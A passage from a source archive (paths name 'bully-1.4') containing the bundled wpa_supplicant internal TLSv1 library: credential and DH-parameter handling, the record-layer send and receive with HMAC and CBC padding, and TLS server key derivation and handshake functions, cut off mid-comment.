search_tag(pem_dhparams_begin, buf, len); if (!pos) { wpa_printf(MSG_DEBUG, "TLSv1: No PEM dhparams tag found - " "assume DER format"); return tlsv1_set_dhparams_der(cred, buf, len); } wpa_printf(MSG_DEBUG, "TLSv1: Converting PEM format dhparams into DER " "format"); pos += os_strlen(pem_dhparams_begin); end = search_tag(pem_dhparams_end, pos, buf + len - pos); if (end == NULL) { wpa_printf(MSG_INFO, "TLSv1: Could not find PEM dhparams end " "tag (%s)", pem_dhparams_end); return -1; } der = base64_decode(pos, end - pos, &der_len); if (der == NULL) { wpa_printf(MSG_INFO, "TLSv1: Could not decode PEM dhparams"); return -1; } if (tlsv1_set_dhparams_der(cred, der, der_len) < 0) { wpa_printf(MSG_INFO, "TLSv1: Failed to parse PEM dhparams " "DER conversion"); os_free(der); return -1; } os_free(der); return 0; } /** * tlsv1_set_dhparams - Set Diffie-Hellman parameters * @cred: TLSv1 credentials from tlsv1_cred_alloc() * @dh_file: File or reference name for the DH params in PEM or DER format * @dh_blob: DH params as inlined data or %NULL if not used * @dh_blob_len: dh_blob length * Returns: 0 on success, -1 on failure */ int tlsv1_set_dhparams(struct tlsv1_credentials *cred, const char *dh_file, const u8 *dh_blob, size_t dh_blob_len) { if (dh_blob) return tlsv1_set_dhparams_blob(cred, dh_blob, dh_blob_len); if (dh_file) { u8 *buf; size_t len; int ret; buf = (u8 *) os_readfile(dh_file, &len); if (buf == NULL) { wpa_printf(MSG_INFO, "TLSv1: Failed to read '%s'", dh_file); return -1; } ret = tlsv1_set_dhparams_blob(cred, buf, len); os_free(buf); return ret; } return 0; } bully-1.4-00/src/tls/tlsv1_cred.h000077500000000000000000000026221361530463600165460ustar00rootroot00000000000000/* * TLSv1 credentials * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef TLSV1_CRED_H #define TLSV1_CRED_H struct tlsv1_credentials { struct x509_certificate *trusted_certs; struct x509_certificate *cert; struct crypto_private_key *key; /* Diffie-Hellman parameters */ u8 *dh_p; /* prime */ size_t dh_p_len; u8 *dh_g; /* generator */ size_t dh_g_len; }; struct tlsv1_credentials * tlsv1_cred_alloc(void); void tlsv1_cred_free(struct tlsv1_credentials *cred); int tlsv1_set_ca_cert(struct tlsv1_credentials *cred, const char *cert, const u8 *cert_blob, size_t cert_blob_len, const char *path); int tlsv1_set_cert(struct tlsv1_credentials *cred, const char *cert, const u8 *cert_blob, size_t cert_blob_len); int tlsv1_set_private_key(struct tlsv1_credentials *cred, const char *private_key, const char *private_key_passwd, const u8 *private_key_blob, size_t private_key_blob_len); int tlsv1_set_dhparams(struct tlsv1_credentials *cred, const char *dh_file, const u8 *dh_blob, size_t dh_blob_len); #endif /* TLSV1_CRED_H */ bully-1.4-00/src/tls/tlsv1_record.c000077500000000000000000000265071361530463600171120ustar00rootroot00000000000000/* * TLSv1 Record Protocol * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto/md5.h" #include "crypto/sha1.h" #include "tlsv1_common.h" #include "tlsv1_record.h" /** * tlsv1_record_set_cipher_suite - TLS record layer: Set cipher suite * @rl: Pointer to TLS record layer data * @cipher_suite: New cipher suite * Returns: 0 on success, -1 on failure * * This function is used to prepare TLS record layer for cipher suite change. * tlsv1_record_change_write_cipher() and * tlsv1_record_change_read_cipher() functions can then be used to change the * currently used ciphers. */ int tlsv1_record_set_cipher_suite(struct tlsv1_record_layer *rl, u16 cipher_suite) { const struct tls_cipher_suite *suite; const struct tls_cipher_data *data; wpa_printf(MSG_DEBUG, "TLSv1: Selected cipher suite: 0x%04x", cipher_suite); rl->cipher_suite = cipher_suite; suite = tls_get_cipher_suite(cipher_suite); if (suite == NULL) return -1; if (suite->hash == TLS_HASH_MD5) { rl->hash_alg = CRYPTO_HASH_ALG_HMAC_MD5; rl->hash_size = MD5_MAC_LEN; } else if (suite->hash == TLS_HASH_SHA) { rl->hash_alg = CRYPTO_HASH_ALG_HMAC_SHA1; rl->hash_size = SHA1_MAC_LEN; } data = tls_get_cipher_data(suite->cipher); if (data == NULL) return -1; rl->key_material_len = data->key_material; rl->iv_size = data->block_size; rl->cipher_alg = data->alg; return 0; } /** * tlsv1_record_change_write_cipher - TLS record layer: Change write cipher * @rl: Pointer to TLS record layer data * Returns: 0 on success (cipher changed), -1 on failure * * This function changes TLS record layer to use the new cipher suite * configured with tlsv1_record_set_cipher_suite() for writing. */ int tlsv1_record_change_write_cipher(struct tlsv1_record_layer *rl) { wpa_printf(MSG_DEBUG, "TLSv1: Record Layer - New write cipher suite " "0x%04x", rl->cipher_suite); rl->write_cipher_suite = rl->cipher_suite; os_memset(rl->write_seq_num, 0, TLS_SEQ_NUM_LEN); if (rl->write_cbc) { crypto_cipher_deinit(rl->write_cbc); rl->write_cbc = NULL; } if (rl->cipher_alg != CRYPTO_CIPHER_NULL) { rl->write_cbc = crypto_cipher_init(rl->cipher_alg, rl->write_iv, rl->write_key, rl->key_material_len); if (rl->write_cbc == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to initialize " "cipher"); return -1; } } return 0; } /** * tlsv1_record_change_read_cipher - TLS record layer: Change read cipher * @rl: Pointer to TLS record layer data * Returns: 0 on success (cipher changed), -1 on failure * * This function changes TLS record layer to use the new cipher suite * configured with tlsv1_record_set_cipher_suite() for reading. */ int tlsv1_record_change_read_cipher(struct tlsv1_record_layer *rl) { wpa_printf(MSG_DEBUG, "TLSv1: Record Layer - New read cipher suite " "0x%04x", rl->cipher_suite); rl->read_cipher_suite = rl->cipher_suite; os_memset(rl->read_seq_num, 0, TLS_SEQ_NUM_LEN); if (rl->read_cbc) { crypto_cipher_deinit(rl->read_cbc); rl->read_cbc = NULL; } if (rl->cipher_alg != CRYPTO_CIPHER_NULL) { rl->read_cbc = crypto_cipher_init(rl->cipher_alg, rl->read_iv, rl->read_key, rl->key_material_len); if (rl->read_cbc == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to initialize " "cipher"); return -1; } } return 0; } /** * tlsv1_record_send - TLS record layer: Send a message * @rl: Pointer to TLS record layer data * @content_type: Content type (TLS_CONTENT_TYPE_*) * @buf: Buffer to send (with TLS_RECORD_HEADER_LEN octets reserved in the * beginning for record layer to fill in; payload filled in after this and * extra space in the end for HMAC). * @buf_size: Maximum buf size * @payload_len: Length of the payload * @out_len: Buffer for returning the used buf length * Returns: 0 on success, -1 on failure * * This function fills in the TLS record layer header, adds HMAC, and encrypts * the data using the current write cipher. */ int tlsv1_record_send(struct tlsv1_record_layer *rl, u8 content_type, u8 *buf, size_t buf_size, size_t payload_len, size_t *out_len) { u8 *pos, *ct_start, *length, *payload; struct crypto_hash *hmac; size_t clen; pos = buf; /* ContentType type */ ct_start = pos; *pos++ = content_type; /* ProtocolVersion version */ WPA_PUT_BE16(pos, TLS_VERSION); pos += 2; /* uint16 length */ length = pos; WPA_PUT_BE16(length, payload_len); pos += 2; /* opaque fragment[TLSPlaintext.length] */ payload = pos; pos += payload_len; if (rl->write_cipher_suite != TLS_NULL_WITH_NULL_NULL) { hmac = crypto_hash_init(rl->hash_alg, rl->write_mac_secret, rl->hash_size); if (hmac == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: Record Layer - Failed " "to initialize HMAC"); return -1; } crypto_hash_update(hmac, rl->write_seq_num, TLS_SEQ_NUM_LEN); /* type + version + length + fragment */ crypto_hash_update(hmac, ct_start, pos - ct_start); clen = buf + buf_size - pos; if (clen < rl->hash_size) { wpa_printf(MSG_DEBUG, "TLSv1: Record Layer - Not " "enough room for MAC"); crypto_hash_finish(hmac, NULL, NULL); return -1; } if (crypto_hash_finish(hmac, pos, &clen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Record Layer - Failed " "to calculate HMAC"); return -1; } wpa_hexdump(MSG_MSGDUMP, "TLSv1: Record Layer - Write HMAC", pos, clen); pos += clen; if (rl->iv_size) { size_t len = pos - payload; size_t pad; pad = (len + 1) % rl->iv_size; if (pad) pad = rl->iv_size - pad; if (pos + pad + 1 > buf + buf_size) { wpa_printf(MSG_DEBUG, "TLSv1: No room for " "block cipher padding"); return -1; } os_memset(pos, pad, pad + 1); pos += pad + 1; } if (crypto_cipher_encrypt(rl->write_cbc, payload, payload, pos - payload) < 0) return -1; } WPA_PUT_BE16(length, pos - length - 2); inc_byte_array(rl->write_seq_num, TLS_SEQ_NUM_LEN); *out_len = pos - buf; return 0; } /** * tlsv1_record_receive - TLS record layer: Process a received message * @rl: Pointer to TLS record layer data * @in_data: Received data * @in_len: Length of the received data * @out_data: Buffer for output data (must be at least as long as in_data) * @out_len: Set to maximum out_data length by caller; used to return the * length of the used data * @alert: Buffer for returning an alert value on failure * Returns: 0 on success, -1 on failure * * This function decrypts the received message, verifies HMAC and TLS record * layer header. */ int tlsv1_record_receive(struct tlsv1_record_layer *rl, const u8 *in_data, size_t in_len, u8 *out_data, size_t *out_len, u8 *alert) { size_t i, rlen, hlen; u8 padlen; struct crypto_hash *hmac; u8 len[2], hash[100]; wpa_hexdump(MSG_MSGDUMP, "TLSv1: Record Layer - Received", in_data, in_len); if (in_len < TLS_RECORD_HEADER_LEN) { wpa_printf(MSG_DEBUG, "TLSv1: Too short record (in_len=%lu)", (unsigned long) in_len); *alert = TLS_ALERT_DECODE_ERROR; return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Received content type %d version %d.%d " "length %d", in_data[0], in_data[1], in_data[2], WPA_GET_BE16(in_data + 3)); if (in_data[0] != TLS_CONTENT_TYPE_HANDSHAKE && in_data[0] != TLS_CONTENT_TYPE_CHANGE_CIPHER_SPEC && in_data[0] != TLS_CONTENT_TYPE_ALERT && in_data[0] != TLS_CONTENT_TYPE_APPLICATION_DATA) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected content type 0x%x", in_data[0]); *alert = TLS_ALERT_UNEXPECTED_MESSAGE; return -1; } if (WPA_GET_BE16(in_data + 1) != TLS_VERSION) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected protocol version " "%d.%d", in_data[1], in_data[2]); *alert = TLS_ALERT_PROTOCOL_VERSION; return -1; } rlen = WPA_GET_BE16(in_data + 3); /* TLSCiphertext must not be more than 2^14+2048 bytes */ if (TLS_RECORD_HEADER_LEN + rlen > 18432) { wpa_printf(MSG_DEBUG, "TLSv1: Record overflow (len=%lu)", (unsigned long) (TLS_RECORD_HEADER_LEN + rlen)); *alert = TLS_ALERT_RECORD_OVERFLOW; return -1; } in_data += TLS_RECORD_HEADER_LEN; in_len -= TLS_RECORD_HEADER_LEN; if (rlen > in_len) { wpa_printf(MSG_DEBUG, "TLSv1: Not all record data included " "(rlen=%lu > in_len=%lu)", (unsigned long) rlen, (unsigned long) in_len); *alert = TLS_ALERT_DECODE_ERROR; return -1; } in_len = rlen; if (*out_len < in_len) { wpa_printf(MSG_DEBUG, "TLSv1: Not enough output buffer for " "processing received record"); *alert = TLS_ALERT_INTERNAL_ERROR; return -1; } os_memcpy(out_data, in_data, in_len); *out_len = in_len; if (rl->read_cipher_suite != TLS_NULL_WITH_NULL_NULL) { if (crypto_cipher_decrypt(rl->read_cbc, out_data, out_data, in_len) < 0) { *alert = TLS_ALERT_DECRYPTION_FAILED; return -1; } if (rl->iv_size) { if (in_len == 0) { wpa_printf(MSG_DEBUG, "TLSv1: Too short record" " (no pad)"); *alert = TLS_ALERT_DECODE_ERROR; return -1; } padlen = out_data[in_len - 1]; if (padlen >= in_len) { wpa_printf(MSG_DEBUG, "TLSv1: Incorrect pad " "length (%u, in_len=%lu) in " "received record", padlen, (unsigned long) in_len); *alert = TLS_ALERT_DECRYPTION_FAILED; return -1; } for (i = in_len - padlen; i < in_len; i++) { if (out_data[i] != padlen) { wpa_hexdump(MSG_DEBUG, "TLSv1: Invalid pad in " "received record", out_data + in_len - padlen, padlen); *alert = TLS_ALERT_DECRYPTION_FAILED; return -1; } } *out_len -= padlen + 1; } wpa_hexdump(MSG_MSGDUMP, "TLSv1: Record Layer - Decrypted data", out_data, in_len); if (*out_len < rl->hash_size) { wpa_printf(MSG_DEBUG, "TLSv1: Too short record; no " "hash value"); *alert = TLS_ALERT_INTERNAL_ERROR; return -1; } *out_len -= rl->hash_size; hmac = crypto_hash_init(rl->hash_alg, rl->read_mac_secret, rl->hash_size); if (hmac == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: Record Layer - Failed " "to initialize HMAC"); *alert = TLS_ALERT_INTERNAL_ERROR; return -1; } crypto_hash_update(hmac, rl->read_seq_num, TLS_SEQ_NUM_LEN); /* type + version + length + fragment */ crypto_hash_update(hmac, in_data - TLS_RECORD_HEADER_LEN, 3); WPA_PUT_BE16(len, *out_len); crypto_hash_update(hmac, len, 2); crypto_hash_update(hmac, out_data, *out_len); hlen = sizeof(hash); if (crypto_hash_finish(hmac, hash, &hlen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Record Layer - Failed " "to calculate HMAC"); return -1; } if (hlen != rl->hash_size || os_memcmp(hash, out_data + *out_len, hlen) != 0) { wpa_printf(MSG_DEBUG, "TLSv1: Invalid HMAC value in " "received message"); *alert = TLS_ALERT_BAD_RECORD_MAC; return -1; } } /* TLSCompressed must not be more than 2^14+1024 bytes */ if (TLS_RECORD_HEADER_LEN + *out_len > 17408) { wpa_printf(MSG_DEBUG, "TLSv1: Record overflow (len=%lu)", (unsigned long) (TLS_RECORD_HEADER_LEN + *out_len)); *alert = TLS_ALERT_RECORD_OVERFLOW; return -1; } inc_byte_array(rl->read_seq_num, TLS_SEQ_NUM_LEN); return 0; } bully-1.4-00/src/tls/tlsv1_record.h000077500000000000000000000040771361530463600171150ustar00rootroot00000000000000/* * TLSv1 Record Protocol * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef TLSV1_RECORD_H #define TLSV1_RECORD_H #include "crypto/crypto.h" #define TLS_MAX_WRITE_MAC_SECRET_LEN 20 #define TLS_MAX_WRITE_KEY_LEN 32 #define TLS_MAX_IV_LEN 16 #define TLS_MAX_KEY_BLOCK_LEN (2 * (TLS_MAX_WRITE_MAC_SECRET_LEN + \ TLS_MAX_WRITE_KEY_LEN + TLS_MAX_IV_LEN)) #define TLS_SEQ_NUM_LEN 8 #define TLS_RECORD_HEADER_LEN 5 /* ContentType */ enum { TLS_CONTENT_TYPE_CHANGE_CIPHER_SPEC = 20, TLS_CONTENT_TYPE_ALERT = 21, TLS_CONTENT_TYPE_HANDSHAKE = 22, TLS_CONTENT_TYPE_APPLICATION_DATA = 23 }; struct tlsv1_record_layer { u8 write_mac_secret[TLS_MAX_WRITE_MAC_SECRET_LEN]; u8 read_mac_secret[TLS_MAX_WRITE_MAC_SECRET_LEN]; u8 write_key[TLS_MAX_WRITE_KEY_LEN]; u8 read_key[TLS_MAX_WRITE_KEY_LEN]; u8 write_iv[TLS_MAX_IV_LEN]; u8 read_iv[TLS_MAX_IV_LEN]; size_t hash_size; size_t key_material_len; size_t iv_size; /* also block_size */ enum crypto_hash_alg hash_alg; enum crypto_cipher_alg cipher_alg; u8 write_seq_num[TLS_SEQ_NUM_LEN]; u8 read_seq_num[TLS_SEQ_NUM_LEN]; u16 cipher_suite; u16 write_cipher_suite; u16 read_cipher_suite; struct crypto_cipher *write_cbc; struct crypto_cipher *read_cbc; }; int tlsv1_record_set_cipher_suite(struct tlsv1_record_layer *rl, u16 cipher_suite); int tlsv1_record_change_write_cipher(struct tlsv1_record_layer *rl); int tlsv1_record_change_read_cipher(struct tlsv1_record_layer *rl); int tlsv1_record_send(struct tlsv1_record_layer *rl, u8 content_type, u8 *buf, size_t buf_size, size_t payload_len, size_t *out_len); int tlsv1_record_receive(struct tlsv1_record_layer *rl, const u8 *in_data, size_t in_len, u8 *out_data, size_t *out_len, u8 *alert); #endif /* TLSV1_RECORD_H */ bully-1.4-00/src/tls/tlsv1_server.c000077500000000000000000000372441361530463600171420ustar00rootroot00000000000000/* * TLSv1 server (RFC 2246) * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto/sha1.h" #include "crypto/tls.h" #include "tlsv1_common.h" #include "tlsv1_record.h" #include "tlsv1_server.h" #include "tlsv1_server_i.h" /* TODO: * Support for a message fragmented across several records (RFC 2246, 6.2.1) */ void tlsv1_server_alert(struct tlsv1_server *conn, u8 level, u8 description) { conn->alert_level = level; conn->alert_description = description; } int tlsv1_server_derive_keys(struct tlsv1_server *conn, const u8 *pre_master_secret, size_t pre_master_secret_len) { u8 seed[2 * TLS_RANDOM_LEN]; u8 key_block[TLS_MAX_KEY_BLOCK_LEN]; u8 *pos; size_t key_block_len; if (pre_master_secret) { wpa_hexdump_key(MSG_MSGDUMP, "TLSv1: pre_master_secret", pre_master_secret, pre_master_secret_len); os_memcpy(seed, conn->client_random, TLS_RANDOM_LEN); os_memcpy(seed + TLS_RANDOM_LEN, conn->server_random, TLS_RANDOM_LEN); if (tls_prf(pre_master_secret, pre_master_secret_len, "master secret", seed, 2 * TLS_RANDOM_LEN, conn->master_secret, TLS_MASTER_SECRET_LEN)) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive " "master_secret"); return -1; } wpa_hexdump_key(MSG_MSGDUMP, "TLSv1: master_secret", conn->master_secret, TLS_MASTER_SECRET_LEN); } os_memcpy(seed, conn->server_random, TLS_RANDOM_LEN); os_memcpy(seed + TLS_RANDOM_LEN, conn->client_random, TLS_RANDOM_LEN); key_block_len = 2 * (conn->rl.hash_size + conn->rl.key_material_len + conn->rl.iv_size); if (tls_prf(conn->master_secret, TLS_MASTER_SECRET_LEN, "key expansion", seed, 2 * TLS_RANDOM_LEN, key_block, key_block_len)) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive key_block"); return -1; } wpa_hexdump_key(MSG_MSGDUMP, "TLSv1: key_block", key_block, key_block_len); pos = key_block; /* client_write_MAC_secret */ os_memcpy(conn->rl.read_mac_secret, pos, conn->rl.hash_size); pos += conn->rl.hash_size; /* server_write_MAC_secret */ os_memcpy(conn->rl.write_mac_secret, pos, conn->rl.hash_size); pos += conn->rl.hash_size; /* client_write_key */ os_memcpy(conn->rl.read_key, pos, conn->rl.key_material_len); pos += conn->rl.key_material_len; /* server_write_key */ os_memcpy(conn->rl.write_key, pos, conn->rl.key_material_len); pos += conn->rl.key_material_len; /* client_write_IV */ os_memcpy(conn->rl.read_iv, pos, conn->rl.iv_size); pos += conn->rl.iv_size; /* server_write_IV */ os_memcpy(conn->rl.write_iv, pos, conn->rl.iv_size); pos += conn->rl.iv_size; return 0; } /** * tlsv1_server_handshake - Process TLS handshake * @conn: TLSv1 server connection data from tlsv1_server_init() * @in_data: Input data from TLS peer * @in_len: Input data length * @out_len: Length of the output buffer. * Returns: Pointer to output data, %NULL on failure */ u8 * tlsv1_server_handshake(struct tlsv1_server *conn, const u8 *in_data, size_t in_len, size_t *out_len) { const u8 *pos, *end; u8 *msg = NULL, *in_msg, *in_pos, *in_end, alert, ct; size_t in_msg_len; if (in_data == NULL || in_len == 0) { wpa_printf(MSG_DEBUG, "TLSv1: No input data to server"); return NULL; } pos = in_data; end = in_data + in_len; in_msg = os_malloc(in_len); if (in_msg == NULL) return NULL; /* Each received packet may include multiple records */ while (pos < end) { in_msg_len = in_len; if (tlsv1_record_receive(&conn->rl, pos, end - pos, in_msg, &in_msg_len, &alert)) { wpa_printf(MSG_DEBUG, "TLSv1: Processing received " "record failed"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, alert); goto failed; } ct = pos[0]; in_pos = in_msg; in_end = in_msg + in_msg_len; /* Each received record may include multiple messages of the * same ContentType. */ while (in_pos < in_end) { in_msg_len = in_end - in_pos; if (tlsv1_server_process_handshake(conn, ct, in_pos, &in_msg_len) < 0) goto failed; in_pos += in_msg_len; } pos += TLS_RECORD_HEADER_LEN + WPA_GET_BE16(pos + 3); } os_free(in_msg); in_msg = NULL; msg = tlsv1_server_handshake_write(conn, out_len); failed: os_free(in_msg); if (conn->alert_level) { if (conn->state == FAILED) { /* Avoid alert loops */ wpa_printf(MSG_DEBUG, "TLSv1: Drop alert loop"); os_free(msg); return NULL; } conn->state = FAILED; os_free(msg); msg = tlsv1_server_send_alert(conn, conn->alert_level, conn->alert_description, out_len); } return msg; } /** * tlsv1_server_encrypt - Encrypt data into TLS tunnel * @conn: TLSv1 server connection data from tlsv1_server_init() * @in_data: Pointer to plaintext data to be encrypted * @in_len: Input buffer length * @out_data: Pointer to output buffer (encrypted TLS data) * @out_len: Maximum out_data length * Returns: Number of bytes written to out_data, -1 on failure * * This function is used after TLS handshake has been completed successfully to * send data in the encrypted tunnel. */ int tlsv1_server_encrypt(struct tlsv1_server *conn, const u8 *in_data, size_t in_len, u8 *out_data, size_t out_len) { size_t rlen; wpa_hexdump_key(MSG_MSGDUMP, "TLSv1: Plaintext AppData", in_data, in_len); os_memcpy(out_data + TLS_RECORD_HEADER_LEN, in_data, in_len); if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_APPLICATION_DATA, out_data, out_len, in_len, &rlen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to create a record"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } return rlen; } /** * tlsv1_server_decrypt - Decrypt data from TLS tunnel * @conn: TLSv1 server connection data from tlsv1_server_init() * @in_data: Pointer to input buffer (encrypted TLS data) * @in_len: Input buffer length * @out_data: Pointer to output buffer (decrypted data from TLS tunnel) * @out_len: Maximum out_data length * Returns: Number of bytes written to out_data, -1 on failure * * This function is used after TLS handshake has been completed successfully to * receive data from the encrypted tunnel. */ int tlsv1_server_decrypt(struct tlsv1_server *conn, const u8 *in_data, size_t in_len, u8 *out_data, size_t out_len) { const u8 *in_end, *pos; int res; u8 alert, *out_end, *out_pos; size_t olen; pos = in_data; in_end = in_data + in_len; out_pos = out_data; out_end = out_data + out_len; while (pos < in_end) { if (pos[0] != TLS_CONTENT_TYPE_APPLICATION_DATA) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected content type " "0x%x", pos[0]); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } olen = out_end - out_pos; res = tlsv1_record_receive(&conn->rl, pos, in_end - pos, out_pos, &olen, &alert); if (res < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Record layer processing " "failed"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, alert); return -1; } out_pos += olen; if (out_pos > out_end) { wpa_printf(MSG_DEBUG, "TLSv1: Buffer not large enough " "for processing the received record"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } pos += TLS_RECORD_HEADER_LEN + WPA_GET_BE16(pos + 3); } return out_pos - out_data; } /** * tlsv1_server_global_init - Initialize TLSv1 server * Returns: 0 on success, -1 on failure * * This function must be called before using any other TLSv1 server functions. */ int tlsv1_server_global_init(void) { return crypto_global_init(); } /** * tlsv1_server_global_deinit - Deinitialize TLSv1 server * * This function can be used to deinitialize the TLSv1 server that was * initialized by calling tlsv1_server_global_init(). No TLSv1 server functions * can be called after this before calling tlsv1_server_global_init() again. */ void tlsv1_server_global_deinit(void) { crypto_global_deinit(); } /** * tlsv1_server_init - Initialize TLSv1 server connection * @cred: Pointer to server credentials from tlsv1_server_cred_alloc() * Returns: Pointer to TLSv1 server connection data or %NULL on failure */ struct tlsv1_server * tlsv1_server_init(struct tlsv1_credentials *cred) { struct tlsv1_server *conn; size_t count; u16 *suites; conn = os_zalloc(sizeof(*conn)); if (conn == NULL) return NULL; conn->cred = cred; conn->state = CLIENT_HELLO; if (tls_verify_hash_init(&conn->verify) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to initialize verify " "hash"); os_free(conn); return NULL; } count = 0; suites = conn->cipher_suites; #ifndef CONFIG_CRYPTO_INTERNAL suites[count++] = TLS_RSA_WITH_AES_256_CBC_SHA; #endif /* CONFIG_CRYPTO_INTERNAL */ suites[count++] = TLS_RSA_WITH_AES_128_CBC_SHA; suites[count++] = TLS_RSA_WITH_3DES_EDE_CBC_SHA; suites[count++] = TLS_RSA_WITH_RC4_128_SHA; suites[count++] = TLS_RSA_WITH_RC4_128_MD5; conn->num_cipher_suites = count; return conn; } static void tlsv1_server_clear_data(struct tlsv1_server *conn) { tlsv1_record_set_cipher_suite(&conn->rl, TLS_NULL_WITH_NULL_NULL); tlsv1_record_change_write_cipher(&conn->rl); tlsv1_record_change_read_cipher(&conn->rl); tls_verify_hash_free(&conn->verify); crypto_public_key_free(conn->client_rsa_key); conn->client_rsa_key = NULL; os_free(conn->session_ticket); conn->session_ticket = NULL; conn->session_ticket_len = 0; conn->use_session_ticket = 0; os_free(conn->dh_secret); conn->dh_secret = NULL; conn->dh_secret_len = 0; } /** * tlsv1_server_deinit - Deinitialize TLSv1 server connection * @conn: TLSv1 server connection data from tlsv1_server_init() */ void tlsv1_server_deinit(struct tlsv1_server *conn) { tlsv1_server_clear_data(conn); os_free(conn); } /** * tlsv1_server_established - Check whether connection has been established * @conn: TLSv1 server connection data from tlsv1_server_init() * Returns: 1 if connection is established, 0 if not */ int tlsv1_server_established(struct tlsv1_server *conn) { return conn->state == ESTABLISHED; } /** * tlsv1_server_prf - Use TLS-PRF to derive keying material * @conn: TLSv1 server connection data from tlsv1_server_init() * @label: Label (e.g., description of the key) for PRF * @server_random_first: seed is 0 = client_random|server_random, * 1 = server_random|client_random * @out: Buffer for output data from TLS-PRF * @out_len: Length of the output buffer * Returns: 0 on success, -1 on failure */ int tlsv1_server_prf(struct tlsv1_server *conn, const char *label, int server_random_first, u8 *out, size_t out_len) { u8 seed[2 * TLS_RANDOM_LEN]; if (conn->state != ESTABLISHED) return -1; if (server_random_first) { os_memcpy(seed, conn->server_random, TLS_RANDOM_LEN); os_memcpy(seed + TLS_RANDOM_LEN, conn->client_random, TLS_RANDOM_LEN); } else { os_memcpy(seed, conn->client_random, TLS_RANDOM_LEN); os_memcpy(seed + TLS_RANDOM_LEN, conn->server_random, TLS_RANDOM_LEN); } return tls_prf(conn->master_secret, TLS_MASTER_SECRET_LEN, label, seed, 2 * TLS_RANDOM_LEN, out, out_len); } /** * tlsv1_server_get_cipher - Get current cipher name * @conn: TLSv1 server connection data from tlsv1_server_init() * @buf: Buffer for the cipher name * @buflen: buf size * Returns: 0 on success, -1 on failure * * Get the name of the currently used cipher. */ int tlsv1_server_get_cipher(struct tlsv1_server *conn, char *buf, size_t buflen) { char *cipher; switch (conn->rl.cipher_suite) { case TLS_RSA_WITH_RC4_128_MD5: cipher = "RC4-MD5"; break; case TLS_RSA_WITH_RC4_128_SHA: cipher = "RC4-SHA"; break; case TLS_RSA_WITH_DES_CBC_SHA: cipher = "DES-CBC-SHA"; break; case TLS_RSA_WITH_3DES_EDE_CBC_SHA: cipher = "DES-CBC3-SHA"; break; case TLS_DH_anon_WITH_AES_128_CBC_SHA: cipher = "ADH-AES-128-SHA"; break; case TLS_RSA_WITH_AES_256_CBC_SHA: cipher = "AES-256-SHA"; break; case TLS_RSA_WITH_AES_128_CBC_SHA: cipher = "AES-128-SHA"; break; default: return -1; } if (os_strlcpy(buf, cipher, buflen) >= buflen) return -1; return 0; } /** * tlsv1_server_shutdown - Shutdown TLS connection * @conn: TLSv1 server connection data from tlsv1_server_init() * Returns: 0 on success, -1 on failure */ int tlsv1_server_shutdown(struct tlsv1_server *conn) { conn->state = CLIENT_HELLO; if (tls_verify_hash_init(&conn->verify) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to re-initialize verify " "hash"); return -1; } tlsv1_server_clear_data(conn); return 0; } /** * tlsv1_server_resumed - Was session resumption used * @conn: TLSv1 server connection data from tlsv1_server_init() * Returns: 1 if current session used session resumption, 0 if not */ int tlsv1_server_resumed(struct tlsv1_server *conn) { return 0; } /** * tlsv1_server_get_keys - Get master key and random data from TLS connection * @conn: TLSv1 server connection data from tlsv1_server_init() * @keys: Structure of key/random data (filled on success) * Returns: 0 on success, -1 on failure */ int tlsv1_server_get_keys(struct tlsv1_server *conn, struct tls_keys *keys) { os_memset(keys, 0, sizeof(*keys)); if (conn->state == CLIENT_HELLO) return -1; keys->client_random = conn->client_random; keys->client_random_len = TLS_RANDOM_LEN; if (conn->state != SERVER_HELLO) { keys->server_random = conn->server_random; keys->server_random_len = TLS_RANDOM_LEN; keys->master_key = conn->master_secret; keys->master_key_len = TLS_MASTER_SECRET_LEN; } return 0; } /** * tlsv1_server_get_keyblock_size - Get TLS key_block size * @conn: TLSv1 server connection data from tlsv1_server_init() * Returns: Size of the key_block for the negotiated cipher suite or -1 on * failure */ int tlsv1_server_get_keyblock_size(struct tlsv1_server *conn) { if (conn->state == CLIENT_HELLO || conn->state == SERVER_HELLO) return -1; return 2 * (conn->rl.hash_size + conn->rl.key_material_len + conn->rl.iv_size); } /** * tlsv1_server_set_cipher_list - Configure acceptable cipher suites * @conn: TLSv1 server connection data from tlsv1_server_init() * @ciphers: 